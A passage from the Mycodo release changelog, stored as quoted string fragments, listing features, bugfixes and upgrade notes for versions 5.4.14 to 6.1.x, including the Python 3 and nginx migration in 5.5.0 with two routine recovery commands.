Command PWM frontend issues ([#469](https://github.com/kizniche/mycodo/issues/469))\n - Fix ADC modules ([#482](https://github.com/kizniche/mycodo/issues/482))\n - Update miflora to 0.4 ([#481](https://github.com/kizniche/mycodo/issues/481))\n - Fix BH1750 sensor ([#480](https://github.com/kizniche/mycodo/issues/480))", "### Miscellaneous", "- Update alembic, Flask, Flask_CSV, geocoder, gunicorn, imutils, pytest, python-dateutil, SQLAlchemy, testfixtures", "\n## 6.1.1 (2018-05-18)", "### Features", "- Add CCS811 CO2 sensor input ([#467](https://github.com/kizniche/mycodo/issues/467))\n- Add HDC1000/HDC1080 Temperature/Humidity sensor input ([#467](https://github.com/kizniche/mycodo/issues/467))\n- Add Pascal/kiloPascal conversion for pressure\n- Add ppm/ppb conversion for CO2 and VOC concentration\n- Improve accuracy of float measurement values\n- Add option to set camera output duration (before image capture)\n- Improve handling of multiple queries to a single device", "### Bugfixes", " - Fix saving settings of Conditional Timers ([#470](https://github.com/kizniche/mycodo/issues/470))\n - Fix Command PWM output use in PIDs ([#469](https://github.com/kizniche/mycodo/issues/469))\n - Fix proper display of Outputs in Conditionals ([#469](https://github.com/kizniche/mycodo/issues/469))", "\n## 6.1.0 (2018-05-02)", "### Features", "- Add Output (Duration) Conditional ([#186](https://github.com/kizniche/mycodo/issues/186))", "### Bugfixes", " - Fix refreshing settings of active conditional controllers\n - Fix saving settings of Conditional Timers ([#464](https://github.com/kizniche/mycodo/issues/464))", "\n## 6.0.9 (2018-04-27)", "### Bugfixes", " - Fix command measurement checking ([#460](https://github.com/kizniche/mycodo/issues/460))\n - Fix rendering of Math measurements/units ([#461](https://github.com/kizniche/mycodo/issues/461))", "\n## 6.0.8 (2018-04-27)", "### Bugfixes", " - Fix identification of custom command measurement/units ([#457](https://github.com/kizniche/mycodo/issues/457))\n - Fix AM2315 Input issue ([#459](https://github.com/kizniche/mycodo/issues/459))", "\n## 6.0.7 (2018-04-26)", "### Features", "- Add ability to change sample rate of controllers ([#386](https://github.com/kizniche/mycodo/issues/386))", "### Bugfixes", " - Fix display of graph custom y-axis names\n - Fix inability to change pigpiod sample rate ([#458](https://github.com/kizniche/mycodo/issues/458))", "\n## 6.0.6 (2018-04-23)", "### Bugfixes", " - Fix issue with Edge Input\n - Fix issue with Conditional timers\n - Fix issue with BME280 dependency identification", "\n## 6.0.5 (2018-04-22)", "### Features", "- Add Conditional: Time Span ([#444](https://github.com/kizniche/mycodo/issues/444))", "### Bugfixes", " - Fix dependency check ([#422](https://github.com/kizniche/mycodo/issues/422))\n - Try lower integration times when TSL2561 sensor is saturated ([#450](https://github.com/kizniche/mycodo/issues/450))\n - Fix DHT11/DHT22 output power check ([#454](https://github.com/kizniche/mycodo/issues/454))", "\n## 6.0.4 (2018-04-21)", "### Bugfixes", " - Fix scanning for DS18B20 sensors ([#452](https://github.com/kizniche/mycodo/issues/452))", "\n## 6.0.3 (2018-04-21)", "### Bugfixes", " - Fix upgrade issue", "\n## 6.0.1 (2018-04-21)", "### Bugfixes", " - Fix setting landing page ([#452](https://github.com/kizniche/mycodo/issues/452))", "\n## 6.0.0 (2018-04-21)", "Version 6 has changes to the database schema that could not be upgraded to. To upgrade to this version, the settings database must be created anew. You either have the options of staying at the last version (5.7.x), or deleting the settings database and upgrading. A fresh install is necessary to run this version.", "### Features", " - Add Conditionals: Run PWM Method, Daily Time Point Timer, Duration Timer, Output PWM ([#444](https://github.com/kizniche/mycodo/issues/444), [#448](https://github.com/kizniche/mycodo/issues/448))\n - Add Conditional Actions: Activate/Deactivate any controller, Set PID Method ([#440](https://github.com/kizniche/mycodo/issues/440))\n - Use actual range value for color stops of solid gauges ([#434](https://github.com/kizniche/mycodo/issues/434))\n - Add option to set setpoint from PID dashboard element without epanding element ([#449](https://github.com/kizniche/mycodo/issues/449))\n - Refactor Conditional Controllers to be multithreaded", "### Bugfixes", " - Fix Hold bug in PID controllers\n - Fix error-handing when changing PID setting from Dashboard if PID is inactive ([#449](https://github.com/kizniche/mycodo/issues/449))", "### Miscellaneous", " - Remove multiplexer integration (use kernel driver)\n - Remove Timers (Conditionals have replaced their functionality)\n - Improve testing coverage of frontend ([#444](https://github.com/kizniche/mycodo/issues/444))", "\n## 5.7.3 (2018-04-20)", "This is the last version of the 5.x branch. If your system is upgraded to 5.7.3, you will have the option of upgrading to the next major version (6.x), however the settings database will need to be deleted. This can be done through the web UI or manually by reinstalling Mycodo fresh.", "### Features", " - Add Conditional Action: Set PID Method ([#440](https://github.com/kizniche/mycodo/issues/440))", "\n## 5.7.2 (2018-04-07)", "### Features", " - Add ability to invert PWM duty cycle ([#444](https://github.com/kizniche/mycodo/issues/444))\n - Add ability to select landing page ([#444](https://github.com/kizniche/mycodo/issues/444))\n - Add ability to set setpoint from PID dashboard elements ([#444](https://github.com/kizniche/mycodo/issues/444))\n - Add Conditional Actions: Activate/Deactivate Timer ([#440](https://github.com/kizniche/mycodo/issues/440))", "### Bugfixes", " - Fix catching erroneous DS18B20 values ([#404](https://github.com/kizniche/mycodo/issues/404))\n - Fix camera selection of Photo Conditional Action ([#444](https://github.com/kizniche/mycodo/issues/444))", "### Miscellaneous", " - Set picamera use_video_port=False ([#444](https://github.com/kizniche/mycodo/issues/444))\n - Rearrange navigation menu ([#444](https://github.com/kizniche/mycodo/issues/444))", "\n## 5.7.1 (2018-04-04)", "### Features", " - Add Conditional Action: Set PID Setpoint\n - Add Input: Xiaomi MiFlora ([#422](https://github.com/kizniche/mycodo/issues/422))", "### Bugfixes", " - Restore missing help menu on navigation bar\n - Fix issue reading SHT sensors ([#437](https://github.com/kizniche/mycodo/issues/437))", "### Miscellaneous", " - Convert README and Manual from MD to RST\n - Update sht_sensor to 18.4.1", "\n## 5.7.0 (2018-04-03)", "### Features", " - Add ability to convert Input measurements between units ([#346](https://github.com/kizniche/mycodo/issues/346))\n - Add unit conversions: celsius, fahrenheit, kelvin, meters, feet\n - Add ability to select whether lowering PID outputs are stored as positive or negative values\n - Add Sunrise/Sunset Conditional ([#440](https://github.com/kizniche/mycodo/issues/440))\n - Add ability to set the precision for DS18B20, DS1822, DS28EA00, and DS1825 sensors ([#439](https://github.com/kizniche/mycodo/issues/439))\n - Add Inputs: DS18S20, DS1822, DS28EA00, DS1825, MAX31850K\n - Add Input option to select resolution for DS18B20, DS1822, DS28EA00, and DS1825 ([#439](https://github.com/kizniche/mycodo/issues/439))", "\n### Bugfixes", " - Fix issues with PID control on Dashboard ([#441](https://github.com/kizniche/mycodo/issues/441))\n - Improve LCD controller shutdown speed\n - Fix installer not displaying progress in console ([#442](https://github.com/kizniche/mycodo/issues/442))\n - Force measurement values to float before writing to influxdb (except 'pressure') ([#441](https://github.com/kizniche/mycodo/issues/441))", "\n## 5.6.10 (2018-03-31)", "### Bugfixes", " - Fix issue executing mycodo_client.py\n - Fix Command Outputs not turning off after turning on for a duration ([#432](https://github.com/kizniche/mycodo/issues/432))\n - Prevent DS18B20 measurements outside expected range ([#404](https://github.com/kizniche/mycodo/issues/404))\n - Prevent race condition preventing output from remaining on for a duration ([#436](https://github.com/kizniche/mycodo/issues/436))\n - Ensure outputs turned on for a duration only turn off once ([#436](https://github.com/kizniche/mycodo/issues/436))\n - Update sht-sensor to 18.3.6 for Python 3 compatibility ([#437](https://github.com/kizniche/mycodo/issues/437))", "### Miscellaneous", " - Change SSL certificate expiration from 1 year to 10 years\n - Fix style issues with Remote Admin following Bootstrap upgrade\n - Fix issue with setup.sh script not catching errors", "\n## 5.6.9 (2018-03-24)", "### Features", " - Add Refractory Period to Measurement Conditional options\n - Add method to hide/show/reorder all Dashboard Elements at once ([#346](https://github.com/kizniche/mycodo/issues/346))\n - Make Output/PID popups respond to show/hide configuration options ([#346](https://github.com/kizniche/mycodo/issues/346))\n - Add Input: Atlas Electrical Conductivity sensor ([#411](https://github.com/kizniche/mycodo/issues/411))", "### Bugfixes", " - Fix issue saving reference resistor value ([#345](https://github.com/kizniche/mycodo/issues/345))\n - Fix LCD display of timestamps\n - Fix inability to change Solid Gauge Stops ([#433](https://github.com/kizniche/mycodo/issues/433))\n - Fix Command Outputs not turning off after turning on for a duration ([#432](https://github.com/kizniche/mycodo/issues/432))\n - Fix encoding issue with df command output ([#430](https://github.com/kizniche/mycodo/issues/430))", "\n## 5.6.8 (2018-03-19)", "### Bugfixes", " - Fix Camera Output not having an effect\n - Fix issues with MAX31856/MAX31865 ([#345](https://github.com/kizniche/mycodo/issues/345))", "\n## 5.6.7 (2018-03-18)", "### Bugfixes", " - Fix upgrade menu not turning red when an upgrade is available\n - Add lockfile breaking ([#418](https://github.com/kizniche/mycodo/issues/418))\n - Fix bcrypt dependency issue preventing install ([#429](https://github.com/kizniche/mycodo/issues/429))", "\n## 5.6.6 (2018-03-17)", "### Features", " - Add Input: MAX31865 for PT100 and PT1000 temperature probes ([#345](https://github.com/kizniche/mycodo/issues/345))", "### Bugfixes", " - Fix incorrect conversion of I2C address during Atlas pH sensor calibration ([#425](https://github.com/kizniche/mycodo/issues/425))\n - Potential fix for ADC issues when using pre-output ([#418](https://github.com/kizniche/mycodo/issues/418))\n - Fix Linux Command measurement display on lines 2 through 4 of LCDs ([#427](https://github.com/kizniche/mycodo/issues/427))\n - Fix display of PID setpoint units on LCDs\n - Fix display of LCD lines without measurement units\n - Fix locking to be thread safe (replaced fasteners with locket) ([#418](https://github.com/kizniche/mycodo/issues/418))", "\n## 5.6.5 (2018-03-14)", "### Features", " - Update to Bootstrap 4\n - Update to InfluxDB 1.5.0", "### Bugfixes", " - Add proper max voltage for MCP3008 ([#418](https://github.com/kizniche/mycodo/issues/418))\n - Fix PID persisting as paused/held after deactivating and activating\n - Fix Atlas pH Calibration issue ([#425](https://github.com/kizniche/mycodo/issues/425))\n - Fix issue with Linux Command Inputs and LCDs ([#427](https://github.com/kizniche/mycodo/issues/427))", "\n## 5.6.4 (2018-03-11)", "### Features", " - Add Input: MAX31856 for measuring several types of thermocouples (K, J, N, R, S, T, E, and B) ([#345](https://github.com/kizniche/mycodo/issues/345)\n - Add mycodo_client.py option: get or set PID setpoint, integrator, derivator, kp, ki, and kd ([#420](https://github.com/kizniche/mycodo/issues/420))\n - Add option to enable pre-output during measurement (previously turned off before measurement) ([#418](https://github.com/kizniche/mycodo/issues/418))", "### Bugfixes", " - Fix frontend pid in System Information page\n - Fix issue with mycodo_client.py PID hold and resume commands", "### Miscellaneous", " - Make rpi-rf an optional Output dependency", "\n## 5.6.3 (2018-03-09)", "### Features", " - Add ability to use custom command line options for fswebcam camera image captures ([#419](https://github.com/kizniche/mycodo/issues/419))\n - Add Input: MAX31855K for measuring K-type thermocouples ([#345](https://github.com/kizniche/mycodo/issues/345))\n - Add ability to set duty cycle of output via mycodo_client.py ([#420](https://github.com/kizniche/mycodo/issues/420))\n - Add Conditional Action: Output PWM ([#420](https://github.com/kizniche/mycodo/issues/420))\n - Add Output Type: Execute Command (PWM) ([#420](https://github.com/kizniche/mycodo/issues/420))", "### Bugfixes", " - Fix LCD issues\n - Fix state display of Command Outputs turned on for a duration", "\n## 5.6.2 (2018-03-04)", "### Features", " - Make install of WiringPi optional ([#412](https://github.com/kizniche/mycodo/issues/412))\n - Make install of numpy optional ([#412](https://github.com/kizniche/mycodo/issues/412))\n - Add pause color and Pause/Hold/Resume buttons to PID Dashboard element options ([#416](https://github.com/kizniche/mycodo/issues/416))\n - Display a log when installing dependencies to follow the progress\n - Add Dependency Install Log to the Log page\n - Add mycodo_client.py user commands: pid_pause, pid_hold, pid_resume\n \n### Bugfixes", " - Fix issues with PID Conditional Actions ([#416](https://github.com/kizniche/mycodo/issues/416))\n - Fix display of last edge on Live page\n - Fix issue updating the status of some dependencies after their install", "### Miscellaneous", " - Remove redundant upgrade commands ([#412](https://github.com/kizniche/mycodo/issues/412))\n - Remove GPIO State from Edge Conditional (use Measurement Conditional) ([#416](https://github.com/kizniche/mycodo/issues/416))", "\n## 5.6.1 (2018-02-27)", "### Features", " - Add Conditional Actions: Pause/Resume PID ([#346](https://github.com/kizniche/mycodo/issues/346))", "### Bugfixes", " - Fix pigpiod configuration options when pigpiod is not installed ([#412](https://github.com/kizniche/mycodo/issues/412))\n - Fix setting up pigpiod during install\n - Fix TSL2561 Input module ([#414](https://github.com/kizniche/mycodo/issues/414))\n - Fix Measurement Dashboard element condition/unit display ([#346](https://github.com/kizniche/mycodo/issues/346))\n - Fix saving PID Conditional Actions ([#415](https://github.com/kizniche/mycodo/issues/415))", "\n## 5.6.0 (2018-02-25)", "### Features", " - Add interactive installer\n - Make Python modules conditionally imported ([#412](https://github.com/kizniche/mycodo/issues/412))", "\n## 5.5.24 (2018-02-24)", "### Features", " - Add new Input: MCP3008 Analog-to-Digital Converter ([#409](https://github.com/kizniche/mycodo/issues/409))", "\n## 5.5.23 (2018-02-23)", "### Features", " - Add option to set decimal places on Dashboard elements ([#346](https://github.com/kizniche/mycodo/issues/346))\n - Add option to show detailed PID information on Dashboard element ([#346](https://github.com/kizniche/mycodo/issues/346))\n - Add units to PID Dashboard element ([#346](https://github.com/kizniche/mycodo/issues/346))\n - Add Fahrenheit conversion to gauges ([#137](https://github.com/kizniche/mycodo/issues/137))\n - Add new Math: Average (Single Measurement) ([#335](https://github.com/kizniche/mycodo/issues/335))", "### Bugfixes", " - Allow disabled pigpiod to persist after upgrades ([#386](https://github.com/kizniche/mycodo/issues/386))\n - Fix display of Math measurement/units of Measurement Dashboard element\n - Prevent a large D-value the the first cycle after a PID is activated\n - Handle TypeErrors for Humidity Math controller", "\n## 5.5.22 (2018-02-19)", "### Features", " - Add PID-Values to Graphs ([#346](https://github.com/kizniche/mycodo/issues/346))\n - Add Dashboard elements: Measurement, Output, PID Control ([#346](https://github.com/kizniche/mycodo/issues/346))\n - Add system date and time to menu", "### Bugfixes", " - Add checks to ensure Humidity Math only returns 0% - 100% humidity\n - Prevent opposing relays from being turned off in PID Controllers ([#402](https://github.com/kizniche/mycodo/issues/402))\n - Fix adding and viewing hosts in Remote Admin ([#377](https://github.com/kizniche/mycodo/issues/377))\n - Fix error-handling of DS18B20 communication error ([#404](https://github.com/kizniche/mycodo/issues/404))\n - Add error-handling for influxdb queries ([#405](https://github.com/kizniche/mycodo/issues/405))", "\n## 5.5.21 (2018-02-13)", "### Bugfixes", " - Add error-handling of DS18B20 communication error ([#404](https://github.com/kizniche/mycodo/issues/404))\n - Fix setup abort from unmet pigpiod dependency ([#406](https://github.com/kizniche/mycodo/issues/406))", "\n## 5.5.20 (2018-02-11)", "### Features", " - Add new configuration section: Pi Settings\n - Add to Pi Settings: common ```raspi-config``` options\n - Add to Pi Settings: select pigpiod sample rate ([#386](https://github.com/kizniche/mycodo/issues/386))\n - Add option to completely disable pigpiod ([#386](https://github.com/kizniche/mycodo/issues/386))", "### Bugfixes", " - Add ability to set custom Graph colors for Math measurements\n ", "## 5.5.19 (2018-02-06)", "### Features", " - Enable custom minimum/maximum to be set for any y-axis ([#335](https://github.com/kizniche/mycodo/issues/335))\n - Add Asynchronous Graph options for duration of data to display (All or past year, month, week, day)", "### Bugfixes", " - Fix saving Math Humidity options ([#400](https://github.com/kizniche/mycodo/issues/400))", "\n## 5.5.18 (2018-02-04)", "### Features", " - Allow multiple data series on Asynchronous Graphs ([#399](https://github.com/kizniche/mycodo/issues/399))\n - Add Outputs and PIDs to Asynchronous Graphs ([#399](https://github.com/kizniche/mycodo/issues/399))\n - Preserve Asynchronous Graph selections after form submissions ([#399](https://github.com/kizniche/mycodo/issues/399))", "### Bugfixes", " - Fix reloading of asynchronous graphs ([#399](https://github.com/kizniche/mycodo/issues/399))", "\n## 5.5.17 (2018-02-03)", "### Features", " - Add option to show/hide Gauge timestamp ([#392](https://github.com/kizniche/mycodo/issues/392))\n - Add new Math: Equation ([#335](https://github.com/kizniche/mycodo/issues/335))\n - Add PID control hysteresis ([#398](https://github.com/kizniche/mycodo/issues/398))\n - Automatically restart pigpiod when it fails", "### Bugfixes", " - Move pigpiod from cron to systemd service to improve reliability ([#388](https://github.com/kizniche/mycodo/issues/388))\n - Improve deamon error-handling and Input connectivity ([#388](https://github.com/kizniche/mycodo/issues/388))\n - Fix Mycodo service timeout ([#379](https://github.com/kizniche/mycodo/issues/379))\n - Fix display of Graph custom colors", "\n## 5.5.16 (2018-01-28)", "### Bugfixes", " - Fix issue with conditionals not triggering when measurement values are 0 ([#387](https://github.com/kizniche/mycodo/issues/387))\n - Fix issue with settings Output PWM duty cycles\n - Fix issues with Atlas UART module ([#382](https://github.com/kizniche/mycodo/issues/382))\n - Fix issues with calibrating the Atlas pH sensor ([#382](https://github.com/kizniche/mycodo/issues/382))", "\n## 5.5.15 (2018-01-28)", "### Features", " - Add Graph button to manually update graph with new data\n - Increase output timing accuracy (0.01 second, previously 0.1 second)\n - Improve graph update efficiency\n - Add Graph option: Enable Graph Shift (used in conjunction with Enable Navbar)\n - Add new Math: Difference ([#395](https://github.com/kizniche/mycodo/issues/395))", "### Bugfixes", " - Fix issue modifying the Conditional Max Age ([#387](https://github.com/kizniche/mycodo/issues/387))\n - Fix issue with new data on graphs requiring a page refresh to see\n - Fix issue with updating inputs/maths with long periods on the Live page", "### Miscellaneous", " - Remove debug line from GPIO State Input module ([#387](https://github.com/kizniche/mycodo/issues/387))", "\n## 5.5.14 (2018-01-25)", "### Bugfixes", " - Fix display of PID timestamp on LCDs\n - Fix missing pigpio.zip (breaks install/upgrade) on remote server (package pigpio.tar with Mycodo)", "\n## 5.5.13 (2018-01-23)", "### Features", " - Add Input: GPIO State ([#387](https://github.com/kizniche/mycodo/issues/387))\n - Refactor Dashboard code (improve load time, reduce code size)", "### Bugfixes", " - Fix inability to change Input Period ([#393](https://github.com/kizniche/mycodo/issues/393))\n - Fix Exception while reading the GPIO pin of Edge Conditional ([#387](https://github.com/kizniche/mycodo/issues/387))", "### Miscellaneous", " - Add Input Template for the [Wiki](https://github.com/kizniche/Mycodo/wiki/Adding-Support-for-a-New-Input)", "\n## 5.5.12 (2018-01-21)", "### Features", " - Add two new Inputs: Server Ping and Server Port Open ([#389](https://github.com/kizniche/mycodo/issues/389))", "\n## 5.5.11 (2018-01-21)", "### Bugfixes", " - Fix issues with Dashboard Gauges ([#391](https://github.com/kizniche/mycodo/issues/391))\n - Fix issues with Dashboard Cameras", "### Miscellaneous", " - Add ID numbers to Conditionals in UI for identification ([#387](https://github.com/kizniche/mycodo/issues/387))", "\n## 5.5.10 (2018-01-20)", "### Features", " - Add ability to set graph y-axis minimum/maximum ([#384](https://github.com/kizniche/mycodo/issues/384))\n - Add ability to view Math outputs on asynchronous graphs ([#335](https://github.com/kizniche/mycodo/issues/335))\n - Improve Dashboard Object creation/manipulation user interaction", "### Bugfixes", " - Fix inability to activate Edge Conditionals ([#381](https://github.com/kizniche/mycodo/issues/381))\n - Fix inability to add new gauges or graphs to the dashboard ([#384](https://github.com/kizniche/mycodo/issues/384))\n - Fix issues with UART Atlas pH Input device ([#382](https://github.com/kizniche/mycodo/issues/382))\n - Fix issue with Atlas pH calibration ([#382](https://github.com/kizniche/mycodo/issues/382))\n - Fix issue with caching of Camera images on the Dashboard\n - Fix issue with Edge Conditionals ([#387](https://github.com/kizniche/mycodo/issues/387))", "\n## 5.5.9 (2018-01-14)", "### Bugfixes", " - Fix issue generating output usage reports ([#380](https://github.com/kizniche/mycodo/issues/380))\n - Fix inability to save Edge Conditionals ([#381](https://github.com/kizniche/mycodo/issues/381))", "\n## 5.5.8 (2018-01-11)", "### Features", " - Add ability to add Camera modules to the Dashboard (formerly Live Graphs page)", "### Bugfixes", " - Fix issue with new installations failing to start the flask frontend ([#379](https://github.com/kizniche/mycodo/issues/379))\n - Fix issue with services starting on Pi Zeros ([#379](https://github.com/kizniche/mycodo/issues/379))", "### Miscellaneous", " - Reduce gunicorn (web UI) workers from 2 to 1", "\n## 5.5.7 (2018-01-08)", "### Bugfixes", "- Fix forcing of HTTPS via user configuration\n- Fix inability to save Gauge Refresh Period option ([#376](https://github.com/kizniche/mycodo/issues/376))\n- Fix Atlas Scientific communication issues ([#369](https://github.com/kizniche/mycodo/issues/369))", "\n## 5.5.6 (2018-01-05)", "### Features", " - Add ability to restart the frontend from the web UI", "### Bugfixes", "- Attempt to fix issue where DHT22 sensor may become unresponsive\n- Fix inability to stream video from PiCamera", "\n## 5.5.5 (2018-01-04)", "### Bugfixes", " - Fix IP address of user login log entries\n - Fix issue reading DHT11 sensor ([#370](https://github.com/kizniche/mycodo/issues/370))", "\n## 5.5.4 (2018-01-03)", "### Features", " - Add ability to replace edge variable in edge conditional command action", "### Bugfixes", " - Fix issue with proper python 3 virtualenv ([#362](https://github.com/kizniche/mycodo/issues/362))\n - Fix starting web server during install\n - Fix issue with gunicorn worker timeouts on Raspberry Pi Zeros ([#365](https://github.com/kizniche/mycodo/issues/365))\n - Fix command variable replacement for Output conditionals ([#367](https://github.com/kizniche/mycodo/issues/367))\n - Fix pH Input causing an error with a deactivated Calibration Measurement ([#369](https://github.com/kizniche/mycodo/issues/369))\n - Fix issue preventing capture of still images from the web interface ([#368](https://github.com/kizniche/mycodo/issues/368))", "### Miscellaneous", " - Move mycodo root symlink from /var/www to /var\n - Create symlinks in PATH for mycodo-backup, mycodo-client, mycodo-commands, mycodo-daemon, mycodo-pip, mycodo-python, mycodo-restore, and mycodo-wrapper", "\n## 5.5.3 (2017-12-29)", "### Bugfixes", " - Fix issue with web UI and daemon not restarting properly after upgrade\n - Fix issue with the log not updating properly on the Upgrade page", "\n## 5.5.2 (2017-12-27)", "### Features", " - Add Conditional Actions: Flash LCD Off, LCD Backlight On, LCD Backlight Off ([#363](https://github.com/kizniche/mycodo/issues/363))", "### Bugfixes", " - Add more log lines to find out exactly which part makes the end of an upgrade hang\n - Fix MHZ16/19 UART communication ([#359](https://github.com/kizniche/mycodo/issues/359))\n - Fix missing I2C devices from System Information page ([#354](https://github.com/kizniche/mycodo/issues/354))\n - Fix output state determination of other outputs if a wireless output is unconfigured ([#364](https://github.com/kizniche/mycodo/issues/364))\n - Fix LCD controller issues with flashing and backlight management", "\n## 5.5.1 (2017-12-25)", "### Bugfixes", " - Fix inability to send Conditional email notification to multiple recipients\n - Fix inability to select LCDs as Conditional Actions\n - Fix BME280 sensor module ([#358](https://github.com/kizniche/mycodo/issues/358))\n - Fix TSL2591 sensor module\n - Fix MHZ16/MHZ19 unicode errors (still investigating other potential issues reading these sensors)", "\n## 5.5.0 (2017-12-25)", "Merry Christmas!", "With the release of 5.5.0, Mycodo becomes modern by migrating from Python 2.7.9 to Python 3 (3.5.3 if on Raspbian Stretch, 3.4.2 if on Raspbian Jessie). This release also brings a big switch from apache2+mod_wsgi to nginx+gunicorn as the web server.", "### Issues", "***You may experience an error during the upgrade that doesn't allow it to complete***", "***It will no longer be possible to restore pre-5.5.0 backups***", "***All users will be logged out of the web UI during the upgrade***", "***All Conditionals will be deactivated and need reconfiguring***", "***OpenCV has been removed as a camera module***", "If you rely on your system to work, it is highly recommended that you ***DO NOT UPGRADE***. Wait until your system is no longer performing critical tasks to upgrade, in order to allow yourself the ability to thoroughly test your particular configuration works as expected, and top perform a fresh install if the upgrade fails. Although most parts of the system have been tested to work, there is, as always, the potential for unforeseen issues (for instance, not every sensor that Mycodo supports has physically been tested). Read the following notes carefully to determine if you want to upgrade to 5.5.0 and newer versions.", "#### Failure during the upgrade to >= 5.5.0", "I found that occasionally the upgrade will spontaneously stop without an indication of the issue. I've seen it happen during an apt-get install and during a pip upgrade. It does not seem consistent, and there were no erorrs, therefore it wasn't able to be fixed. If you experience an error during the upgrade that doesn't allow the upgrade to complete, issue the following commands to attempt to resume and complete the upgrade. If that doesn't fix it, you may have to install Mycodo from scratch.", "```bash\nsudo dpkg --configure -a\nsudo /bin/bash ~/Mycodo/mycodo/scripts/upgrade_post.sh\n```", "#### No restoring of pre-5.5.0 backups", "Restoring pre-5.5.0 backups will not work. This is due to the moving of the pip virtual environments during the restore, the post-5.5.0 (python3) virtualenv not being compatible with the pre-5.5.0 virtualenv (python2), and moving from the apache2 web server to nginx. If you absolutely need to restore a backup, it must be done manually. Create a new github issue to get asistance with this.", "Also with this release, exporting and importing both the Mycodo settings database and InfluxDB measurement database has been added. These may be imported back into Mycodo at a later timer. Currently, the InfluxDB (measurement) database may be imported into any other version of Mycodo, and the Mycodo (settings) database may only be imported to the same version of Mycodo. Automatic upgrading or downgrading of the Mycodo database to allow cross-version compatibility will be included in a future release. For the meantime, if you need to restore Mycodo settings to a particular Mycodo version, you can do the following: download the tar.gz of the particular [Mycodo Release](https://github.com/kizniche/Mycodo/releases) compatible with your database backup, extract, install normally, import the Mycodo settings database, then perform an upgrade of Mycodo to the latest release.", "#### All users will be logged out during the upgrade", "Another consequence of changing from Python 2 to 3 is current browser cookies will cause an error with the web user interface. Therefore, all users will be logged out after upgrading to >= 5.5.0. This will cause some strange behavior that may be misconstrued as a failed upgrade:\n \n 1. The upgrade log will not update during the upgrade. Give the upgrade ample time to finish, or monitor the upgrade log from the command line.\n \n 2. After the upgrade is successful, the upgrade log box on the Upgrade page will redirect to the login page. Do not log in through the log box, but rather refresh the entire page to be redirected to the login page.", "#### All Conditionals will be deactivated", "The Conditional code has been refactored to make them more modular. Because some conditionals will need to be reconfigured before they will operate corectly, all conditionals have been deactivated. Therefore, after the upgrade, reconfigure them appropriately, then reactivate. Additionally, conditionals (for all controllers) have been moved to a new 'Function' page.", "#### OpenCV has been disabled", "A Python 3 compatible binary version of opencv, whoch doesn't require an extremely long (hours) compiling process, is unfortunately unavailable. Therefore, if you know of a library or module that can successfully acquire an image from your webcam (you have tested to work), create a [new issue](https://github.com/kizniche/Mycodo/issues/new) with the details of how you acquired the image and we can determine if the method can be integrated into Mycddo.", "### Features", " - Migrate from Python 2 to Python 3 ([#253](https://github.com/kizniche/mycodo/issues/253))\n - Migrate from apache2 (+mod_wsgi) to nginx (+gunicorn) ([#352](https://github.com/kizniche/mycodo/issues/352))\n - Add ability to export and import Mycodo (settings) database ([#348](https://github.com/kizniche/mycodo/issues/348))\n - Add ability to export and import Influxdb (measurements) database ([#348](https://github.com/kizniche/mycodo/issues/348))\n - Add size of each backup (in MB) on Backup Restore page\n - Add check to make sure there is enough free space before performing a backup/upgrade\n - Add dedicated, modular Conditional controller ([#346](https://github.com/kizniche/mycodo/issues/346))\n - Add PID and Math to input options of Conditionals", "### Bugfixes", " - Fix deleting Inputs ([#250](https://github.com/kizniche/mycodo/issues/250))\n - Fix 500 error if 1-wire support isn't enabled\n - Fix Edge Detection Input callback function missing required parameter\n - Fix LCD display of Output duty cycle\n - Fix email notification\n - Make Conditional email notification send after last Action to include all Actions in message", "### Miscellaneous", " - Disable the use of the opencv camera library\n - Update translations\n - Combine Input and Math pages to a new 'Data' page\n - Move Conditionals and PIDs to a new 'Function' page\n - Show tooltips by default", "\n## 5.4.19 (2017-12-15)", "### Features", " - Add ability to use other Math controller outputs as Math controller inputs\n - Add checks to ensure a measurement is selected for Gauges", "### Bugfixes", " - Fix not deleting associated Math Conditionals when a Math controller is deleted\n - Fix displaying LCD lines for Controllers/Measurements that no longer exist\n - Fix improper WBT input-checking for humidity math controller\n - Fix issue where Math controller could crash ([#335](https://github.com/kizniche/mycodo/issues/335))", "\n## 5.4.18 (2017-12-15)", "### Bugfixes", " - Fix error on Live page if no Math controllers exist ([#345](https://github.com/kizniche/mycodo/issues/345))", "\n## 5.4.17 (2017-12-14)", "### Features", " - Add Decimal Places option to LCD lines", "### Bugfixes", " - Fix Input conditional refresh upon settings change\n - Fix display of Math controllers with atypical measurements on Live page ([#343](https://github.com/kizniche/mycodo/issues/343))\n - Fix inability to use Math controller values with PID Controllers ([#343](https://github.com/kizniche/mycodo/issues/343))\n - Fix display of Math data on LCDs ([#343](https://github.com/kizniche/mycodo/issues/343))\n - Fix LCD Max Age only working for first line\n - Fix display of Math data on LCDs\n - Fix issue displaying some Graph page configurations\n - Fix issue with PID recording negative durations\n - Fix Date Methods ([#344](https://github.com/kizniche/mycodo/issues/344))", "### Miscellaneous", " - Place PID Controllers in a subcategory of new section called Function\n - Don't disable an LCD when an Input that's using it is disabled", "\n## 5.4.16 (2017-12-13)", "### Features", " - Add new Math controller type: Median\n - Add the ability to use Conditionals with Math controllers\n - Add ability to use Math Controllers with LCDs and PIDs\n - Add Math Controllers to Live page\n - Add Math and PID Controllers to Gauge measurement selection ([#342](https://github.com/kizniche/mycodo/issues/342))\n - Add \"None Found Last x Seconds\" to Conditional options (trigger action if a measurement was not found within the last x seconds)\n - Add Restart Daemon option to the Config menu\n - More detailed 'incorrect database version' error message on System Information page", "### Bugfixes", " - Fix measurement list length on Graph page\n - Fix PWM output display on Live page\n - Fix issue changing Gauge type ([#342](https://github.com/kizniche/mycodo/issues/342))\n - Fix display of multiplexer options for I2C devices\n - Fix display order of I2C busses on System Information page", "### Miscellaneous", " - Add new multiplexer overlay option to manual ([#184](https://github.com/kizniche/mycodo/issues/184))", "\n## 5.4.15 (2017-12-08)", "### Features", " - Add Math controller types: Humidity, Maximum, Minimum, and Verification ([#335](https://github.com/kizniche/mycodo/issues/335))", "### Bugfixes", " - Fix Atlas pH sensor calibration", "\n## 5.4.14 (2017-12-05)", "### Features", " - Add Math Controller (Math in menu) to perform math on Input data\n - Add first Math controller type: Average ([#328](https://github.com/kizniche/mycodo/issues/328))\n - Add fswebcam as a camera library for acquiring images from USB cameras\n - Complete Spanish translation\n - Update korean translations\n - Add more translatable texts\n - Make PIDs collapsible\n - Refactor daemon controller handling and daemonize threads", "### Bugfixes", " - Fix TCA9548A multiplexer channel issues ([#330](https://github.com/kizniche/mycodo/issues/330))\n - Fix selection of current language on General Config page\n - Fix saving options when adding a Timer\n - Fix Graph display of Lowering Output durations as negative values\n - Fix 